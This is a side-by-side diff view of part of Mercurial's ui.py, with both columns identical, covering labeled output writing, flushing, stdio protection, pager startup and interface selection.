1138 | if dest is self._fout: | |
1139 | return bool(self._buffers) |
|
1139 | return bool(self._buffers) | |
1140 | if dest is self._ferr: |
|
1140 | if dest is self._ferr: | |
1141 | return bool(self._bufferstates and self._bufferstates[-1][0]) |
|
1141 | return bool(self._bufferstates and self._bufferstates[-1][0]) | |
1142 | return False |
|
1142 | return False | |
1143 |
|
1143 | |||
1144 | def canwritewithoutlabels(self): |
|
1144 | def canwritewithoutlabels(self): | |
1145 | '''check if write skips the label''' |
|
1145 | '''check if write skips the label''' | |
1146 | if self._buffers and not self._bufferapplylabels: |
|
1146 | if self._buffers and not self._bufferapplylabels: | |
1147 | return True |
|
1147 | return True | |
1148 | return self._colormode is None |
|
1148 | return self._colormode is None | |
1149 |
|
1149 | |||
1150 | def canbatchlabeledwrites(self): |
|
1150 | def canbatchlabeledwrites(self): | |
1151 | '''check if write calls with labels are batchable''' |
|
1151 | '''check if write calls with labels are batchable''' | |
1152 | # Windows color printing is special, see ``write``. |
|
1152 | # Windows color printing is special, see ``write``. | |
1153 | return self._colormode != b'win32' |
|
1153 | return self._colormode != b'win32' | |
1154 |
|
1154 | |||
1155 | def write(self, *args, **opts): |
|
1155 | def write(self, *args, **opts): | |
1156 | """write args to output |
|
1156 | """write args to output | |
1157 |
|
1157 | |||
1158 | By default, this method simply writes to the buffer or stdout. |
|
1158 | By default, this method simply writes to the buffer or stdout. | |
1159 | Color mode can be set on the UI class to have the output decorated |
|
1159 | Color mode can be set on the UI class to have the output decorated | |
1160 | with color modifier before being written to stdout. |
|
1160 | with color modifier before being written to stdout. | |
1161 |
|
1161 | |||
1162 | The color used is controlled by an optional keyword argument, "label". |
|
1162 | The color used is controlled by an optional keyword argument, "label". | |
1163 | This should be a string containing label names separated by space. |
|
1163 | This should be a string containing label names separated by space. | |
1164 | Label names take the form of "topic.type". For example, ui.debug() |
|
1164 | Label names take the form of "topic.type". For example, ui.debug() | |
1165 | issues a label of "ui.debug". |
|
1165 | issues a label of "ui.debug". | |
1166 |
|
1166 | |||
1167 | Progress reports via stderr are normally cleared before writing as |
|
1167 | Progress reports via stderr are normally cleared before writing as | |
1168 | stdout and stderr go to the same terminal. This can be skipped with |
|
1168 | stdout and stderr go to the same terminal. This can be skipped with | |
1169 | the optional keyword argument "keepprogressbar". The progress bar |
|
1169 | the optional keyword argument "keepprogressbar". The progress bar | |
1170 | will continue to occupy a partial line on stderr in that case. |
|
1170 | will continue to occupy a partial line on stderr in that case. | |
1171 | This functionality is intended when Mercurial acts as data source |
|
1171 | This functionality is intended when Mercurial acts as data source | |
1172 | in a pipe. |
|
1172 | in a pipe. | |
1173 |
|
1173 | |||
1174 | When labeling output for a specific command, a label of |
|
1174 | When labeling output for a specific command, a label of | |
1175 | "cmdname.type" is recommended. For example, status issues |
|
1175 | "cmdname.type" is recommended. For example, status issues | |
1176 | a label of "status.modified" for modified files. |
|
1176 | a label of "status.modified" for modified files. | |
1177 | """ |
|
1177 | """ | |
1178 | dest = self._fout |
|
1178 | dest = self._fout | |
1179 |
|
1179 | |||
1180 | # inlined _write() for speed |
|
1180 | # inlined _write() for speed | |
1181 | if self._buffers: |
|
1181 | if self._buffers: | |
1182 | label = opts.get('label', b'') |
|
1182 | label = opts.get('label', b'') | |
1183 | if label and self._bufferapplylabels: |
|
1183 | if label and self._bufferapplylabels: | |
1184 | self._buffers[-1].extend(self.label(a, label) for a in args) |
|
1184 | self._buffers[-1].extend(self.label(a, label) for a in args) | |
1185 | else: |
|
1185 | else: | |
1186 | self._buffers[-1].extend(args) |
|
1186 | self._buffers[-1].extend(args) | |
1187 | return |
|
1187 | return | |
1188 |
|
1188 | |||
1189 | # inlined _writenobuf() for speed |
|
1189 | # inlined _writenobuf() for speed | |
1190 | if not opts.get('keepprogressbar', False): |
|
1190 | if not opts.get('keepprogressbar', False): | |
1191 | self._progclear() |
|
1191 | self._progclear() | |
1192 | msg = b''.join(args) |
|
1192 | msg = b''.join(args) | |
1193 |
|
1193 | |||
1194 | # opencode timeblockedsection because this is a critical path |
|
1194 | # opencode timeblockedsection because this is a critical path | |
1195 | starttime = util.timer() |
|
1195 | starttime = util.timer() | |
1196 | try: |
|
1196 | try: | |
1197 | if self._colormode == b'win32': |
|
1197 | if self._colormode == b'win32': | |
1198 | # windows color printing is its own can of crab, defer to |
|
1198 | # windows color printing is its own can of crab, defer to | |
1199 | # the color module and that is it. |
|
1199 | # the color module and that is it. | |
1200 | color.win32print(self, dest.write, msg, **opts) |
|
1200 | color.win32print(self, dest.write, msg, **opts) | |
1201 | else: |
|
1201 | else: | |
1202 | if self._colormode is not None: |
|
1202 | if self._colormode is not None: | |
1203 | label = opts.get('label', b'') |
|
1203 | label = opts.get('label', b'') | |
1204 | msg = self.label(msg, label) |
|
1204 | msg = self.label(msg, label) | |
1205 | dest.write(msg) |
|
1205 | dest.write(msg) | |
1206 | except IOError as err: |
|
1206 | except IOError as err: | |
1207 | raise error.StdioError(err) |
|
1207 | raise error.StdioError(err) | |
1208 | finally: |
|
1208 | finally: | |
1209 | self._blockedtimes[b'stdio_blocked'] += ( |
|
1209 | self._blockedtimes[b'stdio_blocked'] += ( | |
1210 | util.timer() - starttime |
|
1210 | util.timer() - starttime | |
1211 | ) * 1000 |
|
1211 | ) * 1000 | |
1212 |
|
1212 | |||
1213 | def write_err(self, *args, **opts): |
|
1213 | def write_err(self, *args, **opts): | |
1214 | self._write(self._ferr, *args, **opts) |
|
1214 | self._write(self._ferr, *args, **opts) | |
1215 |
|
1215 | |||
1216 | def _write(self, dest, *args, **opts): |
|
1216 | def _write(self, dest, *args, **opts): | |
1217 | # update write() as well if you touch this code |
|
1217 | # update write() as well if you touch this code | |
1218 | if self._isbuffered(dest): |
|
1218 | if self._isbuffered(dest): | |
1219 | label = opts.get('label', b'') |
|
1219 | label = opts.get('label', b'') | |
1220 | if label and self._bufferapplylabels: |
|
1220 | if label and self._bufferapplylabels: | |
1221 | self._buffers[-1].extend(self.label(a, label) for a in args) |
|
1221 | self._buffers[-1].extend(self.label(a, label) for a in args) | |
1222 | else: |
|
1222 | else: | |
1223 | self._buffers[-1].extend(args) |
|
1223 | self._buffers[-1].extend(args) | |
1224 | else: |
|
1224 | else: | |
1225 | self._writenobuf(dest, *args, **opts) |
|
1225 | self._writenobuf(dest, *args, **opts) | |
1226 |
|
1226 | |||
1227 | def _writenobuf(self, dest, *args, **opts): |
|
1227 | def _writenobuf(self, dest, *args, **opts): | |
1228 | # update write() as well if you touch this code |
|
1228 | # update write() as well if you touch this code | |
1229 | if not opts.get('keepprogressbar', False): |
|
1229 | if not opts.get('keepprogressbar', False): | |
1230 | self._progclear() |
|
1230 | self._progclear() | |
1231 | msg = b''.join(args) |
|
1231 | msg = b''.join(args) | |
1232 |
|
1232 | |||
1233 | # opencode timeblockedsection because this is a critical path |
|
1233 | # opencode timeblockedsection because this is a critical path | |
1234 | starttime = util.timer() |
|
1234 | starttime = util.timer() | |
1235 | try: |
|
1235 | try: | |
1236 | if dest is self._ferr and not getattr(self._fout, 'closed', False): |
|
1236 | if dest is self._ferr and not getattr(self._fout, 'closed', False): | |
1237 | self._fout.flush() |
|
1237 | self._fout.flush() | |
1238 | if getattr(dest, 'structured', False): |
|
1238 | if getattr(dest, 'structured', False): | |
1239 | # channel for machine-readable output with metadata, where |
|
1239 | # channel for machine-readable output with metadata, where | |
1240 | # no extra colorization is necessary. |
|
1240 | # no extra colorization is necessary. | |
1241 | dest.write(msg, **opts) |
|
1241 | dest.write(msg, **opts) | |
1242 | elif self._colormode == b'win32': |
|
1242 | elif self._colormode == b'win32': | |
1243 | # windows color printing is its own can of crab, defer to |
|
1243 | # windows color printing is its own can of crab, defer to | |
1244 | # the color module and that is it. |
|
1244 | # the color module and that is it. | |
1245 | color.win32print(self, dest.write, msg, **opts) |
|
1245 | color.win32print(self, dest.write, msg, **opts) | |
1246 | else: |
|
1246 | else: | |
1247 | if self._colormode is not None: |
|
1247 | if self._colormode is not None: | |
1248 | label = opts.get('label', b'') |
|
1248 | label = opts.get('label', b'') | |
1249 | msg = self.label(msg, label) |
|
1249 | msg = self.label(msg, label) | |
1250 | dest.write(msg) |
|
1250 | dest.write(msg) | |
1251 | # stderr may be buffered under win32 when redirected to files, |
|
1251 | # stderr may be buffered under win32 when redirected to files, | |
1252 | # including stdout. |
|
1252 | # including stdout. | |
1253 | if dest is self._ferr and not getattr(dest, 'closed', False): |
|
1253 | if dest is self._ferr and not getattr(dest, 'closed', False): | |
1254 | dest.flush() |
|
1254 | dest.flush() | |
1255 | except IOError as err: |
|
1255 | except IOError as err: | |
1256 | if dest is self._ferr and err.errno in ( |
|
1256 | if dest is self._ferr and err.errno in ( | |
1257 | errno.EPIPE, |
|
1257 | errno.EPIPE, | |
1258 | errno.EIO, |
|
1258 | errno.EIO, | |
1259 | errno.EBADF, |
|
1259 | errno.EBADF, | |
1260 | ): |
|
1260 | ): | |
1261 | # no way to report the error, so ignore it |
|
1261 | # no way to report the error, so ignore it | |
1262 | return |
|
1262 | return | |
1263 | raise error.StdioError(err) |
|
1263 | raise error.StdioError(err) | |
1264 | finally: |
|
1264 | finally: | |
1265 | self._blockedtimes[b'stdio_blocked'] += ( |
|
1265 | self._blockedtimes[b'stdio_blocked'] += ( | |
1266 | util.timer() - starttime |
|
1266 | util.timer() - starttime | |
1267 | ) * 1000 |
|
1267 | ) * 1000 | |
1268 |
|
1268 | |||
1269 | def _writemsg(self, dest, *args, **opts): |
|
1269 | def _writemsg(self, dest, *args, **opts): | |
1270 | timestamp = self.showtimestamp and opts.get('type') in { |
|
1270 | timestamp = self.showtimestamp and opts.get('type') in { | |
1271 | b'debug', |
|
1271 | b'debug', | |
1272 | b'error', |
|
1272 | b'error', | |
1273 | b'note', |
|
1273 | b'note', | |
1274 | b'status', |
|
1274 | b'status', | |
1275 | b'warning', |
|
1275 | b'warning', | |
1276 | } |
|
1276 | } | |
1277 | if timestamp: |
|
1277 | if timestamp: | |
1278 | args = ( |
|
1278 | args = ( | |
1279 | b'[%s] ' |
|
1279 | b'[%s] ' | |
1280 | % pycompat.bytestr(datetime.datetime.now().isoformat()), |
|
1280 | % pycompat.bytestr(datetime.datetime.now().isoformat()), | |
1281 | ) + args |
|
1281 | ) + args | |
1282 | _writemsgwith(self._write, dest, *args, **opts) |
|
1282 | _writemsgwith(self._write, dest, *args, **opts) | |
1283 | if timestamp: |
|
1283 | if timestamp: | |
1284 | dest.flush() |
|
1284 | dest.flush() | |
1285 |
|
1285 | |||
1286 | def _writemsgnobuf(self, dest, *args, **opts): |
|
1286 | def _writemsgnobuf(self, dest, *args, **opts): | |
1287 | _writemsgwith(self._writenobuf, dest, *args, **opts) |
|
1287 | _writemsgwith(self._writenobuf, dest, *args, **opts) | |
1288 |
|
1288 | |||
1289 | def flush(self): |
|
1289 | def flush(self): | |
1290 | # opencode timeblockedsection because this is a critical path |
|
1290 | # opencode timeblockedsection because this is a critical path | |
1291 | starttime = util.timer() |
|
1291 | starttime = util.timer() | |
1292 | try: |
|
1292 | try: | |
1293 | try: |
|
1293 | try: | |
1294 | self._fout.flush() |
|
1294 | self._fout.flush() | |
1295 | except IOError as err: |
|
1295 | except IOError as err: | |
1296 | if err.errno not in (errno.EPIPE, errno.EIO, errno.EBADF): |
|
1296 | if err.errno not in (errno.EPIPE, errno.EIO, errno.EBADF): | |
1297 | raise error.StdioError(err) |
|
1297 | raise error.StdioError(err) | |
1298 | finally: |
|
1298 | finally: | |
1299 | try: |
|
1299 | try: | |
1300 | self._ferr.flush() |
|
1300 | self._ferr.flush() | |
1301 | except IOError as err: |
|
1301 | except IOError as err: | |
1302 | if err.errno not in (errno.EPIPE, errno.EIO, errno.EBADF): |
|
1302 | if err.errno not in (errno.EPIPE, errno.EIO, errno.EBADF): | |
1303 | raise error.StdioError(err) |
|
1303 | raise error.StdioError(err) | |
1304 | finally: |
|
1304 | finally: | |
1305 | self._blockedtimes[b'stdio_blocked'] += ( |
|
1305 | self._blockedtimes[b'stdio_blocked'] += ( | |
1306 | util.timer() - starttime |
|
1306 | util.timer() - starttime | |
1307 | ) * 1000 |
|
1307 | ) * 1000 | |
1308 |
|
1308 | |||
1309 | def _isatty(self, fh): |
|
1309 | def _isatty(self, fh): | |
1310 | if self.configbool(b'ui', b'nontty'): |
|
1310 | if self.configbool(b'ui', b'nontty'): | |
1311 | return False |
|
1311 | return False | |
1312 | return procutil.isatty(fh) |
|
1312 | return procutil.isatty(fh) | |
1313 |
|
1313 | |||
1314 | def protectfinout(self): |
|
1314 | def protectfinout(self): | |
1315 | """Duplicate ui streams and redirect original if they are stdio |
|
1315 | """Duplicate ui streams and redirect original if they are stdio | |
1316 |
|
1316 | |||
1317 | Returns (fin, fout) which point to the original ui fds, but may be |
|
1317 | Returns (fin, fout) which point to the original ui fds, but may be | |
1318 | copy of them. The returned streams can be considered "owned" in that |
|
1318 | copy of them. The returned streams can be considered "owned" in that | |
1319 | print(), exec(), etc. never reach to them. |
|
1319 | print(), exec(), etc. never reach to them. | |
1320 | """ |
|
1320 | """ | |
1321 | if self._finoutredirected: |
|
1321 | if self._finoutredirected: | |
1322 | # if already redirected, protectstdio() would just create another |
|
1322 | # if already redirected, protectstdio() would just create another | |
1323 | # nullfd pair, which is equivalent to returning self._fin/_fout. |
|
1323 | # nullfd pair, which is equivalent to returning self._fin/_fout. | |
1324 | return self._fin, self._fout |
|
1324 | return self._fin, self._fout | |
1325 | fin, fout = procutil.protectstdio(self._fin, self._fout) |
|
1325 | fin, fout = procutil.protectstdio(self._fin, self._fout) | |
1326 | self._finoutredirected = (fin, fout) != (self._fin, self._fout) |
|
1326 | self._finoutredirected = (fin, fout) != (self._fin, self._fout) | |
1327 | return fin, fout |
|
1327 | return fin, fout | |
1328 |
|
1328 | |||
1329 | def restorefinout(self, fin, fout): |
|
1329 | def restorefinout(self, fin, fout): | |
1330 | """Restore ui streams from possibly duplicated (fin, fout)""" |
|
1330 | """Restore ui streams from possibly duplicated (fin, fout)""" | |
1331 | if (fin, fout) == (self._fin, self._fout): |
|
1331 | if (fin, fout) == (self._fin, self._fout): | |
1332 | return |
|
1332 | return | |
1333 | procutil.restorestdio(self._fin, self._fout, fin, fout) |
|
1333 | procutil.restorestdio(self._fin, self._fout, fin, fout) | |
1334 | # protectfinout() won't create more than one duplicated streams, |
|
1334 | # protectfinout() won't create more than one duplicated streams, | |
1335 | # so we can just turn the redirection flag off. |
|
1335 | # so we can just turn the redirection flag off. | |
1336 | self._finoutredirected = False |
|
1336 | self._finoutredirected = False | |
1337 |
|
1337 | |||
1338 | @contextlib.contextmanager |
|
1338 | @contextlib.contextmanager | |
1339 | def protectedfinout(self): |
|
1339 | def protectedfinout(self): | |
1340 | """Run code block with protected standard streams""" |
|
1340 | """Run code block with protected standard streams""" | |
1341 | fin, fout = self.protectfinout() |
|
1341 | fin, fout = self.protectfinout() | |
1342 | try: |
|
1342 | try: | |
1343 | yield fin, fout |
|
1343 | yield fin, fout | |
1344 | finally: |
|
1344 | finally: | |
1345 | self.restorefinout(fin, fout) |
|
1345 | self.restorefinout(fin, fout) | |
1346 |
|
1346 | |||
1347 | def disablepager(self): |
|
1347 | def disablepager(self): | |
1348 | self._disablepager = True |
|
1348 | self._disablepager = True | |
1349 |
|
1349 | |||
1350 | def pager(self, command): |
|
1350 | def pager(self, command): | |
1351 | """Start a pager for subsequent command output. |
|
1351 | """Start a pager for subsequent command output. | |
1352 |
|
1352 | |||
1353 | Commands which produce a long stream of output should call |
|
1353 | Commands which produce a long stream of output should call | |
1354 | this function to activate the user's preferred pagination |
|
1354 | this function to activate the user's preferred pagination | |
1355 | mechanism (which may be no pager). Calling this function |
|
1355 | mechanism (which may be no pager). Calling this function | |
1356 | precludes any future use of interactive functionality, such as |
|
1356 | precludes any future use of interactive functionality, such as | |
1357 | prompting the user or activating curses. |
|
1357 | prompting the user or activating curses. | |
1358 |
|
1358 | |||
1359 | Args: |
|
1359 | Args: | |
1360 | command: The full, non-aliased name of the command. That is, "log" |
|
1360 | command: The full, non-aliased name of the command. That is, "log" | |
1361 | not "history, "summary" not "summ", etc. |
|
1361 | not "history, "summary" not "summ", etc. | |
1362 | """ |
|
1362 | """ | |
1363 | if self._disablepager or self.pageractive: |
|
1363 | if self._disablepager or self.pageractive: | |
1364 | # how pager should do is already determined |
|
1364 | # how pager should do is already determined | |
1365 | return |
|
1365 | return | |
1366 |
|
1366 | |||
1367 | if not command.startswith(b'internal-always-') and ( |
|
1367 | if not command.startswith(b'internal-always-') and ( | |
1368 | # explicit --pager=on (= 'internal-always-' prefix) should |
|
1368 | # explicit --pager=on (= 'internal-always-' prefix) should | |
1369 | # take precedence over disabling factors below |
|
1369 | # take precedence over disabling factors below | |
1370 | command in self.configlist(b'pager', b'ignore') |
|
1370 | command in self.configlist(b'pager', b'ignore') | |
1371 | or not self.configbool(b'ui', b'paginate') |
|
1371 | or not self.configbool(b'ui', b'paginate') | |
1372 | or not self.configbool(b'pager', b'attend-' + command, True) |
|
1372 | or not self.configbool(b'pager', b'attend-' + command, True) | |
1373 | or encoding.environ.get(b'TERM') == b'dumb' |
|
1373 | or encoding.environ.get(b'TERM') == b'dumb' | |
1374 | # TODO: if we want to allow HGPLAINEXCEPT=pager, |
|
1374 | # TODO: if we want to allow HGPLAINEXCEPT=pager, | |
1375 | # formatted() will need some adjustment. |
|
1375 | # formatted() will need some adjustment. | |
1376 | or not self.formatted() |
|
1376 | or not self.formatted() | |
1377 | or self.plain() |
|
1377 | or self.plain() | |
1378 | or self._buffers |
|
1378 | or self._buffers | |
1379 | # TODO: expose debugger-enabled on the UI object |
|
1379 | # TODO: expose debugger-enabled on the UI object | |
1380 | or b'--debugger' in pycompat.sysargv |
|
1380 | or b'--debugger' in pycompat.sysargv | |
1381 | ): |
|
1381 | ): | |
1382 | # We only want to paginate if the ui appears to be |
|
1382 | # We only want to paginate if the ui appears to be | |
1383 | # interactive, the user didn't say HGPLAIN or |
|
1383 | # interactive, the user didn't say HGPLAIN or | |
1384 | # HGPLAINEXCEPT=pager, and the user didn't specify --debug. |
|
1384 | # HGPLAINEXCEPT=pager, and the user didn't specify --debug. | |
1385 | return |
|
1385 | return | |
1386 |
|
1386 | |||
1387 | pagercmd = self.config(b'pager', b'pager', rcutil.fallbackpager) |
|
1387 | pagercmd = self.config(b'pager', b'pager', rcutil.fallbackpager) | |
1388 | if not pagercmd: |
|
1388 | if not pagercmd: | |
1389 | return |
|
1389 | return | |
1390 |
|
1390 | |||
1391 | pagerenv = {} |
|
1391 | pagerenv = {} | |
1392 | for name, value in rcutil.defaultpagerenv().items(): |
|
1392 | for name, value in rcutil.defaultpagerenv().items(): | |
1393 | if name not in encoding.environ: |
|
1393 | if name not in encoding.environ: | |
1394 | pagerenv[name] = value |
|
1394 | pagerenv[name] = value | |
1395 |
|
1395 | |||
1396 | self.debug( |
|
1396 | self.debug( | |
1397 | b'starting pager for command %s\n' % stringutil.pprint(command) |
|
1397 | b'starting pager for command %s\n' % stringutil.pprint(command) | |
1398 | ) |
|
1398 | ) | |
1399 | self.flush() |
|
1399 | self.flush() | |
1400 |
|
1400 | |||
1401 | wasformatted = self.formatted() |
|
1401 | wasformatted = self.formatted() | |
1402 | if util.safehasattr(signal, b"SIGPIPE"): |
|
1402 | if util.safehasattr(signal, b"SIGPIPE"): | |
1403 | signal.signal(signal.SIGPIPE, _catchterm) |
|
1403 | signal.signal(signal.SIGPIPE, _catchterm) | |
1404 | if self._runpager(pagercmd, pagerenv): |
|
1404 | if self._runpager(pagercmd, pagerenv): | |
1405 | self.pageractive = True |
|
1405 | self.pageractive = True | |
1406 | # Preserve the formatted-ness of the UI. This is important |
|
1406 | # Preserve the formatted-ness of the UI. This is important | |
1407 | # because we mess with stdout, which might confuse |
|
1407 | # because we mess with stdout, which might confuse | |
1408 | # auto-detection of things being formatted. |
|
1408 | # auto-detection of things being formatted. | |
1409 | self.setconfig(b'ui', b'formatted', wasformatted, b'pager') |
|
1409 | self.setconfig(b'ui', b'formatted', wasformatted, b'pager') | |
1410 | self.setconfig(b'ui', b'interactive', False, b'pager') |
|
1410 | self.setconfig(b'ui', b'interactive', False, b'pager') | |
1411 |
|
1411 | |||
1412 | # If pagermode differs from color.mode, reconfigure color now that |
|
1412 | # If pagermode differs from color.mode, reconfigure color now that | |
1413 | # pageractive is set. |
|
1413 | # pageractive is set. | |
1414 | cm = self._colormode |
|
1414 | cm = self._colormode | |
1415 | if cm != self.config(b'color', b'pagermode', cm): |
|
1415 | if cm != self.config(b'color', b'pagermode', cm): | |
1416 | color.setup(self) |
|
1416 | color.setup(self) | |
1417 | else: |
|
1417 | else: | |
1418 | # If the pager can't be spawned in dispatch when --pager=on is |
|
1418 | # If the pager can't be spawned in dispatch when --pager=on is | |
1419 | # given, don't try again when the command runs, to avoid a duplicate |
|
1419 | # given, don't try again when the command runs, to avoid a duplicate | |
1420 | # warning about a missing pager command. |
|
1420 | # warning about a missing pager command. | |
1421 | self.disablepager() |
|
1421 | self.disablepager() | |
1422 |
|
1422 | |||
1423 | def _runpager(self, command, env=None): |
|
1423 | def _runpager(self, command, env=None): | |
1424 | """Actually start the pager and set up file descriptors. |
|
1424 | """Actually start the pager and set up file descriptors. | |
1425 |
|
1425 | |||
1426 | This is separate in part so that extensions (like chg) can |
|
1426 | This is separate in part so that extensions (like chg) can | |
1427 | override how a pager is invoked. |
|
1427 | override how a pager is invoked. | |
1428 | """ |
|
1428 | """ | |
1429 | if command == b'cat': |
|
1429 | if command == b'cat': | |
1430 | # Save ourselves some work. |
|
1430 | # Save ourselves some work. | |
1431 | return False |
|
1431 | return False | |
1432 | # If the command doesn't contain any of these characters, we |
|
1432 | # If the command doesn't contain any of these characters, we | |
1433 | # assume it's a binary and exec it directly. This means for |
|
1433 | # assume it's a binary and exec it directly. This means for | |
1434 | # simple pager command configurations, we can degrade |
|
1434 | # simple pager command configurations, we can degrade | |
1435 | # gracefully and tell the user about their broken pager. |
|
1435 | # gracefully and tell the user about their broken pager. | |
1436 | shell = any(c in command for c in b"|&;<>()$`\\\"' \t\n*?[#~=%") |
|
1436 | shell = any(c in command for c in b"|&;<>()$`\\\"' \t\n*?[#~=%") | |
1437 |
|
1437 | |||
1438 | if pycompat.iswindows and not shell: |
|
1438 | if pycompat.iswindows and not shell: | |
1439 | # Window's built-in `more` cannot be invoked with shell=False, but |
|
1439 | # Window's built-in `more` cannot be invoked with shell=False, but | |
1440 | # its `more.com` can. Hide this implementation detail from the |
|
1440 | # its `more.com` can. Hide this implementation detail from the | |
1441 | # user so we can also get sane bad PAGER behavior. MSYS has |
|
1441 | # user so we can also get sane bad PAGER behavior. MSYS has | |
1442 | # `more.exe`, so do a cmd.exe style resolution of the executable to |
|
1442 | # `more.exe`, so do a cmd.exe style resolution of the executable to | |
1443 | # determine which one to use. |
|
1443 | # determine which one to use. | |
1444 | fullcmd = procutil.findexe(command) |
|
1444 | fullcmd = procutil.findexe(command) | |
1445 | if not fullcmd: |
|
1445 | if not fullcmd: | |
1446 | self.warn( |
|
1446 | self.warn( | |
1447 | _(b"missing pager command '%s', skipping pager\n") % command |
|
1447 | _(b"missing pager command '%s', skipping pager\n") % command | |
1448 | ) |
|
1448 | ) | |
1449 | return False |
|
1449 | return False | |
1450 |
|
1450 | |||
1451 | command = fullcmd |
|
1451 | command = fullcmd | |
1452 |
|
1452 | |||
1453 | try: |
|
1453 | try: | |
1454 | pager = subprocess.Popen( |
|
1454 | pager = subprocess.Popen( | |
1455 | procutil.tonativestr(command), |
|
1455 | procutil.tonativestr(command), | |
1456 | shell=shell, |
|
1456 | shell=shell, | |
1457 | bufsize=-1, |
|
1457 | bufsize=-1, | |
1458 | close_fds=procutil.closefds, |
|
1458 | close_fds=procutil.closefds, | |
1459 | stdin=subprocess.PIPE, |
|
1459 | stdin=subprocess.PIPE, | |
1460 | stdout=procutil.stdout, |
|
1460 | stdout=procutil.stdout, | |
1461 | stderr=procutil.stderr, |
|
1461 | stderr=procutil.stderr, | |
1462 | env=procutil.tonativeenv(procutil.shellenviron(env)), |
|
1462 | env=procutil.tonativeenv(procutil.shellenviron(env)), | |
1463 | ) |
|
1463 | ) | |
1464 | except OSError as e: |
|
1464 | except OSError as e: | |
1465 | if e.errno == errno.ENOENT and not shell: |
|
1465 | if e.errno == errno.ENOENT and not shell: | |
1466 | self.warn( |
|
1466 | self.warn( | |
1467 | _(b"missing pager command '%s', skipping pager\n") % command |
|
1467 | _(b"missing pager command '%s', skipping pager\n") % command | |
1468 | ) |
|
1468 | ) | |
1469 | return False |
|
1469 | return False | |
1470 | raise |
|
1470 | raise | |
1471 |
|
1471 | |||
1472 | # back up original file descriptors |
|
1472 | # back up original file descriptors | |
1473 | stdoutfd = os.dup(procutil.stdout.fileno()) |
|
1473 | stdoutfd = os.dup(procutil.stdout.fileno()) | |
1474 | stderrfd = os.dup(procutil.stderr.fileno()) |
|
1474 | stderrfd = os.dup(procutil.stderr.fileno()) | |
1475 |
|
1475 | |||
1476 | os.dup2(pager.stdin.fileno(), procutil.stdout.fileno()) |
|
1476 | os.dup2(pager.stdin.fileno(), procutil.stdout.fileno()) | |
1477 | if self._isatty(procutil.stderr): |
|
1477 | if self._isatty(procutil.stderr): | |
1478 | os.dup2(pager.stdin.fileno(), procutil.stderr.fileno()) |
|
1478 | os.dup2(pager.stdin.fileno(), procutil.stderr.fileno()) | |
1479 |
|
1479 | |||
1480 | @self.atexit |
|
1480 | @self.atexit | |
1481 | def killpager(): |
|
1481 | def killpager(): | |
1482 | if util.safehasattr(signal, b"SIGINT"): |
|
1482 | if util.safehasattr(signal, b"SIGINT"): | |
1483 | signal.signal(signal.SIGINT, signal.SIG_IGN) |
|
1483 | signal.signal(signal.SIGINT, signal.SIG_IGN) | |
1484 | # restore original fds, closing pager.stdin copies in the process |
|
1484 | # restore original fds, closing pager.stdin copies in the process | |
1485 | os.dup2(stdoutfd, procutil.stdout.fileno()) |
|
1485 | os.dup2(stdoutfd, procutil.stdout.fileno()) | |
1486 | os.dup2(stderrfd, procutil.stderr.fileno()) |
|
1486 | os.dup2(stderrfd, procutil.stderr.fileno()) | |
1487 | pager.stdin.close() |
|
1487 | pager.stdin.close() | |
1488 | pager.wait() |
|
1488 | pager.wait() | |
1489 |
|
1489 | |||
1490 | return True |
|
1490 | return True | |
1491 |
|
1491 | |||
1492 | @property |
|
1492 | @property | |
1493 | def _exithandlers(self): |
|
1493 | def _exithandlers(self): | |
1494 | return _reqexithandlers |
|
1494 | return _reqexithandlers | |
1495 |
|
1495 | |||
1496 | def atexit(self, func, *args, **kwargs): |
|
1496 | def atexit(self, func, *args, **kwargs): | |
1497 | """register a function to run after dispatching a request |
|
1497 | """register a function to run after dispatching a request | |
1498 |
|
1498 | |||
1499 | Handlers do not stay registered across request boundaries.""" |
|
1499 | Handlers do not stay registered across request boundaries.""" | |
1500 | self._exithandlers.append((func, args, kwargs)) |
|
1500 | self._exithandlers.append((func, args, kwargs)) | |
1501 | return func |
|
1501 | return func | |
1502 |
|
1502 | |||
1503 | def interface(self, feature): |
|
1503 | def interface(self, feature): | |
1504 | """what interface to use for interactive console features? |
|
1504 | """what interface to use for interactive console features? | |
1505 |
|
1505 | |||
1506 | The interface is controlled by the value of `ui.interface` but also by |
|
1506 | The interface is controlled by the value of `ui.interface` but also by | |
1507 | the value of feature-specific configuration. For example: |
|
1507 | the value of feature-specific configuration. For example: | |
1508 |
|
1508 | |||
1509 | ui.interface.histedit = text |
|
1509 | ui.interface.histedit = text | |
1510 | ui.interface.chunkselector = curses |
|
1510 | ui.interface.chunkselector = curses | |
1511 |
|
1511 | |||
1512 | Here the features are "histedit" and "chunkselector". |
|
1512 | Here the features are "histedit" and "chunkselector". | |
1513 |
|
1513 | |||
1514 | The configuration above means that the default interfaces for commands |
|
1514 | The configuration above means that the default interfaces for commands | |
1515 | is curses, the interface for histedit is text and the interface for |
|
1515 | is curses, the interface for histedit is text and the interface for | |
1516 | selecting chunk is crecord (the best curses interface available). |
|
1516 | selecting chunk is crecord (the best curses interface available). | |
1517 |
|
1517 | |||
1518 | Consider the following example: |
|
1518 | Consider the following example: | |
1519 | ui.interface = curses |
|
1519 | ui.interface = curses | |
1520 | ui.interface.histedit = text |
|
1520 | ui.interface.histedit = text | |
1521 |
|
1521 | |||
1522 | Then histedit will use the text interface and chunkselector will use |
|
1522 | Then histedit will use the text interface and chunkselector will use | |
1523 | the default curses interface (crecord at the moment). |
|
1523 | the default curses interface (crecord at the moment). | |
1524 | """ |
|
1524 | """ | |
1525 | alldefaults = frozenset([b"text", b"curses"]) |
|
1525 | alldefaults = frozenset([b"text", b"curses"]) | |
1526 |
|
1526 | |||
1527 | featureinterfaces = { |
|
1527 | featureinterfaces = { | |
1528 | b"chunkselector": [ |
|
1528 | b"chunkselector": [ | |
1529 | b"text", |
|
1529 | b"text", | |
1530 | b"curses", |
|
1530 | b"curses", | |
1531 | ], |
|
1531 | ], | |
1532 | b"histedit": [ |
|
1532 | b"histedit": [ | |
1533 | b"text", |
|
1533 | b"text", | |
1534 | b"curses", |
|
1534 | b"curses", | |
1535 | ], |
|
1535 | ], | |
1536 | } |
|
1536 | } | |
1537 |
|
1537 | |||
1538 | # Feature-specific interface |
|
1538 | # Feature-specific interface | |
1539 | if feature not in featureinterfaces.keys(): |
|
1539 | if feature not in featureinterfaces.keys(): | |
1540 | # Programming error, not user error |
|
1540 | # Programming error, not user error | |
1541 | raise ValueError(b"Unknown feature requested %s" % feature) |
|
1541 | raise ValueError(b"Unknown feature requested %s" % feature) | |
1542 |
|
1542 | |||
1543 | availableinterfaces = frozenset(featureinterfaces[feature]) |
|
